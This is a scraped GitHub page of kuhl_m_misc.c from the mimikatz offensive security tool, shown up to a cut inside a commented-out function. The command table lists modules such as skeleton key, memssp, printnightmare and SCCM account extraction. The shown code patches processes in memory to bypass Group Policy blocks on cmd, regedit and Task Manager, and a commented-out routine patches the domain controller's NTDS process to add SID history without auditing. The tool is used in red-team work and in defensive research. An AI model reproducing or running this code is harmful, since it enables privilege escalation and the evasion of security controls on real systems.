-
Notifications
You must be signed in to change notification settings - Fork 3.8k
/
kuhl_m_misc.c
2201 lines (2050 loc) · 85.8 KB
/
kuhl_m_misc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/* Benjamin DELPY `gentilkiwi`
https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kuhl_m_misc.h"
const KUHL_M_C kuhl_m_c_misc[] = {
{kuhl_m_misc_cmd, L"cmd", L"Command Prompt (without DisableCMD)"},
{kuhl_m_misc_regedit, L"regedit", L"Registry Editor (without DisableRegistryTools)"},
{kuhl_m_misc_taskmgr, L"taskmgr", L"Task Manager (without DisableTaskMgr)"},
{kuhl_m_misc_ncroutemon,L"ncroutemon", L"Juniper Network Connect (without route monitoring)"},
#if !defined(_M_ARM64)
{kuhl_m_misc_detours, L"detours", L"[experimental] Try to enumerate all modules with Detours-like hooks"},
#endif
//#ifdef _M_X64
// {kuhl_m_misc_addsid, L"addsid", NULL},
//#endif
{kuhl_m_misc_memssp, L"memssp", NULL},
{kuhl_m_misc_skeleton, L"skeleton", NULL},
{kuhl_m_misc_compress, L"compress", NULL},
{kuhl_m_misc_lock, L"lock", NULL},
{kuhl_m_misc_wp, L"wp", NULL},
{kuhl_m_misc_mflt, L"mflt", NULL},
{kuhl_m_misc_easyntlmchall, L"easyntlmchall", NULL},
{kuhl_m_misc_clip, L"clip", NULL},
{kuhl_m_misc_xor, L"xor", NULL},
{kuhl_m_misc_aadcookie, L"aadcookie", NULL},
{kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey, L"ngcsign", NULL},
{kuhl_m_misc_spooler, L"spooler", NULL},
{kuhl_m_misc_efs, L"efs", NULL},
{kuhl_m_misc_printnightmare, L"printnightmare", NULL},
{kuhl_m_misc_sccm_accounts, L"sccm", NULL},
{kuhl_m_misc_shadowcopies, L"shadowcopies", NULL},
{kuhl_m_misc_djoin_proxy, L"djoin", NULL},
{kuhl_m_misc_citrix_proxy, L"citrix", NULL},
};
const KUHL_M kuhl_m_misc = {
L"misc", L"Miscellaneous module", NULL,
ARRAYSIZE(kuhl_m_c_misc), kuhl_m_c_misc, NULL, NULL
};
NTSTATUS kuhl_m_misc_cmd(int argc, wchar_t * argv[])
{
kuhl_m_misc_generic_nogpo_patch(L"cmd.exe", L"DisableCMD", sizeof(L"DisableCMD"), L"KiwiAndCMD", sizeof(L"KiwiAndCMD"));
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_misc_regedit(int argc, wchar_t * argv[])
{
kuhl_m_misc_generic_nogpo_patch(L"regedit.exe", L"DisableRegistryTools", sizeof(L"DisableRegistryTools"), L"KiwiAndRegistryTools", sizeof(L"KiwiAndRegistryTools"));
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_misc_taskmgr(int argc, wchar_t * argv[])
{
kuhl_m_misc_generic_nogpo_patch(L"taskmgr.exe", L"DisableTaskMgr", sizeof(L"DisableTaskMgr"), L"KiwiAndTaskMgr", sizeof(L"KiwiAndTaskMgr"));
return STATUS_SUCCESS;
}
BYTE PTRN_WALL_ncRouteMonitor[] = {0x07, 0x00, 0x75, 0x3a, 0x68};
BYTE PATC_WALL_ncRouteMonitor[] = {0x90, 0x90};
KULL_M_PATCH_GENERIC ncRouteMonitorReferences[] = {{KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WALL_ncRouteMonitor), PTRN_WALL_ncRouteMonitor}, {sizeof(PATC_WALL_ncRouteMonitor), PATC_WALL_ncRouteMonitor}, {2}}};
NTSTATUS kuhl_m_misc_ncroutemon(int argc, wchar_t * argv[])
{
kull_m_patch_genericProcessOrServiceFromBuild(ncRouteMonitorReferences, ARRAYSIZE(ncRouteMonitorReferences), L"dsNcService", NULL, TRUE);
return STATUS_SUCCESS;
}
#if !defined(_M_ARM64)
BOOL CALLBACK kuhl_m_misc_detours_callback_module_name_addr(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg)
{
if(((PBYTE) pvArg >= (PBYTE) pModuleInformation->DllBase.address) && ((PBYTE) pvArg < ((PBYTE) pModuleInformation->DllBase.address + pModuleInformation->SizeOfImage)))
{
kprintf(L"\t(%wZ)", pModuleInformation->NameDontUseOutsideCallback);
return FALSE;
}
return TRUE;
}
PBYTE kuhl_m_misc_detours_testHookDestination(PKULL_M_MEMORY_ADDRESS base, WORD machineOfProcess, DWORD level)
{
PBYTE dst = NULL;
BYTE bufferJmp[] = {0xe9}, bufferJmpOff[] = {0xff, 0x25}, bufferRetSS[] = {0x50, 0x48, 0xb8};
KUHL_M_MISC_DETOURS_HOOKS myHooks[] = {
{0, bufferJmp, sizeof(bufferJmp), sizeof(bufferJmp), sizeof(LONG), TRUE, FALSE},
{1, bufferJmpOff, sizeof(bufferJmpOff), sizeof(bufferJmpOff), sizeof(LONG), !(machineOfProcess == IMAGE_FILE_MACHINE_I386), TRUE},
{0, bufferRetSS, sizeof(bufferRetSS), sizeof(bufferRetSS), sizeof(PVOID), FALSE, FALSE},
};
KULL_M_MEMORY_ADDRESS aBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, dBuffer = {&dst, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_MEMORY_ADDRESS pBuffer = *base;
DWORD i, sizeToRead;
for(i = 0; !dst && (i < ARRAYSIZE(myHooks)); i++)
{
if(level >= myHooks[i].minLevel)
{
sizeToRead = myHooks[i].offsetToRead + myHooks[i].szToRead;
if(aBuffer.address = LocalAlloc(LPTR, sizeToRead))
{
if(kull_m_memory_copy(&aBuffer, base, sizeToRead))
{
if(RtlEqualMemory(myHooks[i].pattern, aBuffer.address, myHooks[i].szPattern))
{
if(myHooks[i].isRelative)
{
dst = (PBYTE) pBuffer.address + sizeToRead + *(PLONG) ((PBYTE) aBuffer.address + myHooks[i].offsetToRead);
}
else
{
dst = *(PBYTE *) ((PBYTE) aBuffer.address + myHooks[i].offsetToRead);
#if defined(_M_X64)
if(machineOfProcess == IMAGE_FILE_MACHINE_I386)
dst = (PBYTE) ((ULONG_PTR) dst & 0xffffffff);
#endif
}
if(myHooks[i].isTarget)
{
pBuffer.address = dst;
kull_m_memory_copy(&dBuffer, &pBuffer, sizeof(PBYTE));
#if defined(_M_X64)
if(machineOfProcess == IMAGE_FILE_MACHINE_I386)
dst = (PBYTE) ((ULONG_PTR) dst & 0xffffffff);
#endif
}
}
}
LocalFree(aBuffer.address);
}
}
}
return dst;
}
BOOL CALLBACK kuhl_m_misc_detours_callback_module_exportedEntry(PKULL_M_PROCESS_EXPORTED_ENTRY pExportedEntryInformations, PVOID pvArg)
{
PBYTE dstJmp = NULL;
KULL_M_MEMORY_ADDRESS pBuffer = pExportedEntryInformations->function;
DWORD level = 0;
if((pExportedEntryInformations->function.address))
{
do
{
pBuffer.address = kuhl_m_misc_detours_testHookDestination(&pBuffer, pExportedEntryInformations->machine, level);
if(pBuffer.address && ((PBYTE) pBuffer.address < (PBYTE) (((PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION) pvArg)->DllBase.address) || (PBYTE) pBuffer.address > ((PBYTE) ((PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION) pvArg)->DllBase.address + (((PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION) pvArg)->SizeOfImage))))
{
dstJmp = (PBYTE) pBuffer.address;
level++;
}
} while (pBuffer.address);
if(dstJmp)
{
kprintf(L"\t[%u] %wZ ! ", level, (((PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION) pvArg)->NameDontUseOutsideCallback));
if(pExportedEntryInformations->name)
kprintf(L"%-32S", pExportedEntryInformations->name);
else
kprintf(L"# %u", pExportedEntryInformations->ordinal);
kprintf(L"\t %p -> %p", pExportedEntryInformations->function.address, dstJmp);
kull_m_process_getVeryBasicModuleInformations(pExportedEntryInformations->function.hMemory, kuhl_m_misc_detours_callback_module_name_addr, dstJmp);
kprintf(L"\n");
}
}
return TRUE;
}
BOOL CALLBACK kuhl_m_misc_detours_callback_module(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg)
{
kull_m_process_getExportedEntryInformations(&pModuleInformation->DllBase, kuhl_m_misc_detours_callback_module_exportedEntry, pModuleInformation);
return TRUE;
}
BOOL CALLBACK kuhl_m_misc_detours_callback_process(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg)
{
HANDLE hProcess;
PKULL_M_MEMORY_HANDLE hMemoryProcess;
DWORD pid = PtrToUlong(pSystemProcessInformation->UniqueProcessId);
if(pid > 4)
{
kprintf(L"%wZ (%u)\n", &pSystemProcessInformation->ImageName, pid);
if(hProcess = OpenProcess(GENERIC_READ, FALSE, pid))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &hMemoryProcess))
{
kull_m_process_getVeryBasicModuleInformations(hMemoryProcess, kuhl_m_misc_detours_callback_module, NULL);
kull_m_memory_close(hMemoryProcess);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
return TRUE;
}
NTSTATUS kuhl_m_misc_detours(int argc, wchar_t * argv[])
{
kull_m_process_getProcessInformation(kuhl_m_misc_detours_callback_process, NULL);
return STATUS_SUCCESS;
}
#endif
BOOL kuhl_m_misc_generic_nogpo_patch(PCWSTR commandLine, PWSTR disableString, SIZE_T szDisableString, PWSTR enableString, SIZE_T szEnableString)
{
BOOL status = FALSE;
PEB Peb;
PROCESS_INFORMATION processInformation;
PIMAGE_NT_HEADERS pNtHeaders;
KULL_M_MEMORY_ADDRESS aBaseAdress = {NULL, NULL}, aPattern = {disableString, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aPatch = {enableString, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_MEMORY_SEARCH sMemory;
if(kull_m_process_create(KULL_M_PROCESS_CREATE_NORMAL, commandLine, CREATE_SUSPENDED, NULL, 0, NULL, NULL, NULL, &processInformation, FALSE))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, processInformation.hProcess, &aBaseAdress.hMemory))
{
if(kull_m_process_peb(aBaseAdress.hMemory, &Peb, FALSE))
{
aBaseAdress.address = Peb.ImageBaseAddress;
if(kull_m_process_ntheaders(&aBaseAdress, &pNtHeaders))
{
sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = aBaseAdress.hMemory;
sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = (LPVOID) pNtHeaders->OptionalHeader.ImageBase;
sMemory.kull_m_memoryRange.size = pNtHeaders->OptionalHeader.SizeOfImage;
if(status = kull_m_patch(&sMemory, &aPattern, szDisableString, &aPatch, szEnableString, 0, NULL, 0, NULL, NULL))
kprintf(L"Patch OK for \'%s\' from \'%s\' to \'%s\' @ %p\n", commandLine, disableString, enableString, sMemory.result);
else PRINT_ERROR_AUTO(L"kull_m_patch");
LocalFree(pNtHeaders);
}
}
kull_m_memory_close(aBaseAdress.hMemory);
}
NtResumeProcess(processInformation.hProcess);
CloseHandle(processInformation.hThread);
CloseHandle(processInformation.hProcess);
}
return status;
}
//#ifdef _M_X64
//BYTE PTRN_JMP[] = {0xeb};
//BYTE PTRN_6NOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
//
//BYTE PTRN_WN64_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_WN64_1[] = {0xfa, 0x05, 0x1a, 0x01, 0xe9}; // VerifyAuditingEnabled
//BYTE PTRN_WN64_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24}; // VerifySrcAuditingEnabledAndGetFlatName
//BYTE PTRN_WN64_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x8c, 0x24, 0x88, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
//BYTE PTRN_WN64_4[] = {0x49, 0x8b, 0x48, 0x18, 0x48, 0x8b, 0x84, 0x24, 0x00, 0x04, 0x00, 0x00}; // fNullUuid
//BYTE PTRN_WN64_5[] = {0xc7, 0x44, 0x24, 0x74, 0x59, 0x07, 0x1a, 0x01, 0xe9}; // cmp r12
//BYTE PTRN_WN64_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_WN64_7[] = {0x8b, 0x84, 0x24, 0x6c, 0x01, 0x00, 0x00, 0x3d, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//BYTE PTRN_WN81_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_WN81_1[] = {0xc2, 0x05, 0x1a, 0x01, 0xe9}; // VerifyAuditingEnabled
//BYTE PTRN_WN81_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24, 0xc0/*, 0x00, 0x00, 0x00*/}; // VerifySrcAuditingEnabledAndGetFlatName
//BYTE PTRN_WN81_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x8c, 0x24, 0x60, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
//BYTE PTRN_WN81_4[] = {0x49, 0x8b, 0x48, 0x18, 0x48, 0x8b, 0x84, 0x24, 0x00, 0x04, 0x00, 0x00}; // fNullUuid
//BYTE PTRN_WN81_5[] = {0xc7, 0x44, 0x24, 0x74, 0x1c, 0x07, 0x1a, 0x01, 0xe9}; // cmp r12
//BYTE PTRN_WN81_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_WN81_7[] = {0x8b, 0x84, 0x24, 0x98, 0x01, 0x00, 0x00, 0x3d, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//BYTE PTRN_WN80_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_WN80_1[] = {0xC1, 0x05, 0x1A, 0x01, 0xe9}; // VerifyAuditingEnabled
//BYTE PTRN_WN80_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24, 0xc0/*, 0x00, 0x00, 0x00*/}; // VerifySrcAuditingEnabledAndGetFlatName
//BYTE PTRN_WN80_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x84, 0x24, 0x58, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
//BYTE PTRN_WN80_4[] = {0x49, 0x8B, 0x41, 0x18, 0x48, 0x8D, 0x8C, 0x24, 0x10, 0x05, 0x00, 0x00}; // fNullUuid
//BYTE PTRN_WN80_5[] = {0xC7, 0x44, 0x24, 0x74, 0x1b, 0x07, 0x1A, 0x01, 0xE9}; // cmp r12
//BYTE PTRN_WN80_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_WN80_7[] = {0x44, 0x8B, 0x9C, 0x24, 0x9C, 0x01, 0x00, 0x00, 0x41, 0x81, 0xFB, 0xE8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//BYTE PTRN_W8R2_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
//BYTE PTRN_W8R2_1[] = {0x96, 0x05, 0x1a, 0x01, 0x48}; // VerifyAuditingEnabled
////BYTE PTRN_W8R2_2[] = {0x48, 0x8d, 0x94, 0x24, 0x28, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0xf8, 0x01, 0x00, 0x00, 0xe8}; // VerifySrcAuditingEnabledAndGetFlatName 2010
//BYTE PTRN_W8R2_2[] = {0x48, 0x8d, 0x94, 0x24, 0x18, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0x00, 0x02, 0x00, 0x00, 0xe8}; // VerifySrcAuditingEnabledAndGetFlatName 2013
//BYTE PTRN_W8R2_3[] = {0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x70, 0x3b, 0xc6, 0x74};
//BYTE PTRN_W8R2_4[] = {0x05, 0x00, 0x00, 0x48, 0x8b, 0x11, 0x48, 0x3b, 0x50, 0x08, 0x75}; // fNullUuid
//BYTE PTRN_W8R2_5[] = {0xc7, 0x44, 0x24, 0x74, 0xed, 0x06, 0x1a, 0x01, 0x8b}; // cmp r14
//BYTE PTRN_W8R2_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
//BYTE PTRN_W8R2_7[] = {0x01, 0x00, 0x00, 0x41, 0x81, 0xfb, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
//
//KULL_M_PATCH_MULTIPLE wservprev[] = {
// {{sizeof(PTRN_WN64_0), PTRN_WN64_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN64_1), PTRN_WN64_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
// {{sizeof(PTRN_WN64_2), PTRN_WN64_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
// {{sizeof(PTRN_WN64_3), PTRN_WN64_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
// {{sizeof(PTRN_WN64_4), PTRN_WN64_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN64_5), PTRN_WN64_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
// {{sizeof(PTRN_WN64_6), PTRN_WN64_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_WN64_7), PTRN_WN64_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 12,},
//};
//KULL_M_PATCH_MULTIPLE w2k12r2[] = {
// {{sizeof(PTRN_WN81_0), PTRN_WN81_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN81_1), PTRN_WN81_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
// {{sizeof(PTRN_WN81_2), PTRN_WN81_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
// {{sizeof(PTRN_WN81_3), PTRN_WN81_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
// {{sizeof(PTRN_WN81_4), PTRN_WN81_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN81_5), PTRN_WN81_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
// {{sizeof(PTRN_WN81_6), PTRN_WN81_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_WN81_7), PTRN_WN81_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 12,},
//};
//KULL_M_PATCH_MULTIPLE w2k12[] = {
// {{sizeof(PTRN_WN80_0), PTRN_WN80_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN80_1), PTRN_WN80_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
// {{sizeof(PTRN_WN80_2), PTRN_WN80_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
// {{sizeof(PTRN_WN80_3), PTRN_WN80_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
// {{sizeof(PTRN_WN80_4), PTRN_WN80_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN80_5), PTRN_WN80_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
// {{sizeof(PTRN_WN80_6), PTRN_WN80_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_WN80_7), PTRN_WN80_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 15,},
//};
//KULL_M_PATCH_MULTIPLE w2k8r2[] = {
// {{sizeof(PTRN_W8R2_0), PTRN_W8R2_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_W8R2_1), PTRN_W8R2_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -14,},
// {{sizeof(PTRN_W8R2_2), PTRN_W8R2_2}, {sizeof(PTRN_JMP), PTRN_JMP}, 27,},
// {{sizeof(PTRN_W8R2_3), PTRN_W8R2_3}, {sizeof(PTRN_JMP), PTRN_JMP}, 9,},
// {{sizeof(PTRN_W8R2_4), PTRN_W8R2_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -11,},
// {{sizeof(PTRN_W8R2_5), PTRN_W8R2_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -17,},
// {{sizeof(PTRN_W8R2_6), PTRN_W8R2_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_W8R2_7), PTRN_W8R2_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 20,},
//};
//
//NTSTATUS kuhl_m_misc_addsid(int argc, wchar_t * argv[])
//{
// SERVICE_STATUS_PROCESS sNtds;
// HANDLE hProcess, hDs;
// KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iNtds;
// DWORD i, err;
//
// KULL_M_MEMORY_ADDRESS sAddress = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {NULL, NULL};
// KULL_M_MEMORY_SEARCH sSearch;
// BOOL littleSuccess = TRUE;
// PPOLICY_DNS_DOMAIN_INFO pDnsInfo;
// PKULL_M_PATCH_MULTIPLE pOs = NULL;
// DWORD pOsSz = 0;
//
// if(argc > 1)
// {
// if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_8))
// {
// pOs = w2k8r2;
// pOsSz = ARRAYSIZE(w2k8r2);
// }
// else if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_8) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_BLUE))
// {
// pOs = w2k12;
// pOsSz = ARRAYSIZE(w2k12);
// }
// else if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_BLUE) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_10))
// {
// pOs = w2k12r2;
// pOsSz = ARRAYSIZE(w2k12r2);
// }
// else if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10)
// {
// pOs = wservprev;
// pOsSz = ARRAYSIZE(wservprev);
// }
//
// if(pOs && pOsSz)
// {
// if(kull_m_net_getCurrentDomainInfo(&pDnsInfo))
// {
// err = DsBindW(NULL, NULL, &hDs);
// if(err == ERROR_SUCCESS)
// {
// if(kull_m_service_getUniqueForName(L"ntds", &sNtds))
// {
// if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, sNtds.dwProcessId))
// {
// if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aProcess.hMemory))
// {
// if(kull_m_process_getVeryBasicModuleInformationsForName(aProcess.hMemory, L"ntdsai.dll", &iNtds))
// {
// sSearch.kull_m_memoryRange.kull_m_memoryAdress = iNtds.DllBase;
// sSearch.kull_m_memoryRange.size = iNtds.SizeOfImage;
//
// for(i = 0; (i < pOsSz) && littleSuccess; i++)
// {
// littleSuccess = FALSE;
// pOs[i].LocalBackup.hMemory = &KULL_M_MEMORY_GLOBAL_OWN_HANDLE;
// pOs[i].LocalBackup.address = NULL;
// pOs[i].AdressOfPatch.hMemory = aProcess.hMemory;
// pOs[i].AdressOfPatch.address = NULL;
// pOs[i].OldProtect = 0;
//
// sAddress.address = pOs[i].Search.Pattern;
// if(kull_m_memory_search(&sAddress, pOs[i].Search.Length, &sSearch, TRUE))
// {
// if(pOs[i].LocalBackup.address = LocalAlloc(LPTR, pOs[i].Patch.Length))
// {
// pOs[i].AdressOfPatch.address = (PBYTE) sSearch.result + pOs[i].Offset;
// if(!(littleSuccess = kull_m_memory_copy(&pOs[i].LocalBackup, &pOs[i].AdressOfPatch, pOs[i].Patch.Length)))
// {
// PRINT_ERROR_AUTO(L"kull_m_memory_copy (backup)");
// LocalFree(pOs[i].LocalBackup.address);
// pOs[i].LocalBackup.address = NULL;
// }
// }
// }
// else
// {
// kprintf(L"Search %u : ", i);
// PRINT_ERROR_AUTO(L"kull_m_memory_search");
// }
// }
//
// if(littleSuccess)
// {
// for(i = 0; (i < pOsSz) && littleSuccess; i++)
// {
// littleSuccess = FALSE;
//
// if(kull_m_memory_protect(&pOs[i].AdressOfPatch, pOs[i].Patch.Length, PAGE_EXECUTE_READWRITE, &pOs[i].OldProtect))
// {
// sAddress.address = pOs[i].Patch.Pattern;
// if(!(littleSuccess = kull_m_memory_copy(&pOs[i].AdressOfPatch, &sAddress, pOs[i].Patch.Length)))
// PRINT_ERROR_AUTO(L"kull_m_memory_copy");
// }
// else PRINT_ERROR_AUTO(L"kull_m_memory_protect");
// }
// }
//
// if(littleSuccess)
// {
// kprintf(L"SIDHistory for \'%s\'\n", argv[0]);
// for(i = 1; i < (DWORD) argc; i++)
// {
// kprintf(L" * %s\t", argv[i]);
// err = DsAddSidHistoryW(hDs, 0, pDnsInfo->DnsDomainName.Buffer, argv[i], NULL, NULL, pDnsInfo->DnsDomainName.Buffer, argv[0]);
// if(err == NO_ERROR)
// kprintf(L"OK\n");
// else PRINT_ERROR(L"DsAddSidHistory: 0x%08x (%u)!\n", err, err);
// }
// }
//
// for(i = 0; i < pOsSz; i++)
// {
// if(pOs[i].LocalBackup.address)
// {
